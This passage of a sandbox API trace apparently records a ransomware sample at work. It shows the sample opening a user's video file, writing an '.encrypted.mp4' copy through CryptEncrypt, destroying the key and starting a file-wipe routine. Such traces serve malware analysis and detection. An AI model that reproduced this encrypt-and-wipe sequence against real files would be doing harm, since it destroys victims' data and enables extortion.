lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.681] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.681] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.681] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.681] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\Q4Ys4dcnc7H4G.mp4" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\y8vnmyj1sxkqvr5jsjvf\\ptb8leiybaedvwd-eii\\q4ys4dcnc7h4g.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0029.681] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.681] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0029.681] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.682] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.682] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.682] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\y8vnmyj1sxkqvr5jsjvf\\ptb8leiybaedvwd-eii")) returned 0x10 [0029.682] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\Q4Ys4dcnc7H4G.encrypted.mp4" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\y8vnmyj1sxkqvr5jsjvf\\ptb8leiybaedvwd-eii\\q4ys4dcnc7h4g.encrypted.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0029.682] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.682] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.682] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.682] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.684] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0029.684] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x2152, lpOverlapped=0x0) returned 1 [0029.684] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0029.686] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.687] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.687] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.688] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0029.688] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.688] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.688] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0029.688] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.688] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0029.688] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.689] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.689] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.689] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0029.689] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.689] CryptGetKeyParam (in: hKey=0xe8f4062720, dwParam=0x7, pbData=0xe8f4064cf0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064cf0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0029.689] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.689] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.689] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.689] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.689] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.689] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.689] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.690] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.690] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.690] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.690] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.690] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.690] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.690] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.690] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.690] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.690] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.690] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.690] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.690] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.690] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.690] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.690] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.690] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.690] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.690] CryptEncrypt (in: hKey=0xe8f4062720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x2152, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x2160) returned 1 [0029.690] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.690] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.690] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.690] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.690] CharLowerBuffW (in: lpsz="byte[8545]", cchLength=0xa | out: lpsz="byte[8545]") returned 0xa [0029.690] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.691] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.691] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.691] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.691] CryptEncrypt (in: hKey=0xe8f4062720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f406e430*, pdwDataLen=0xe8f3dfdf68*=0x2152, dwBufLen=0x2160 | out: pbData=0xe8f406e430*, pdwDataLen=0xe8f3dfdf68*=0x2160) returned 1 [0029.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.691] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.691] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.691] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.691] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.691] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.691] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.691] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.691] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.691] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.691] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.691] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.691] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.691] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.692] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.692] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.692] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0029.692] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.692] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.692] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0029.692] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.692] CryptDestroyKey (hKey=0xe8f4062720) returned 1 [0029.692] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.692] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.692] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.692] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.692] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.692] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.693] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.693] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.693] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.693] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0029.693] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.693] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.693] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.693] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.693] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.693] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.693] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.693] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.693] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.693] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.693] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.693] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.693] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.693] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.693] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.693] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.693] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.693] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.693] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.693] CryptReleaseContext (hProv=0xe8f40633e0, dwFlags=0x0) returned 1 [0029.693] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.693] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.693] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.694] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.694] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.694] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.694] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.694] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.694] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.694] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0029.695] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.695] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.695] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.695] CharLowerBuffW (in: lpsz="byte[8530]", cchLength=0xa | out: 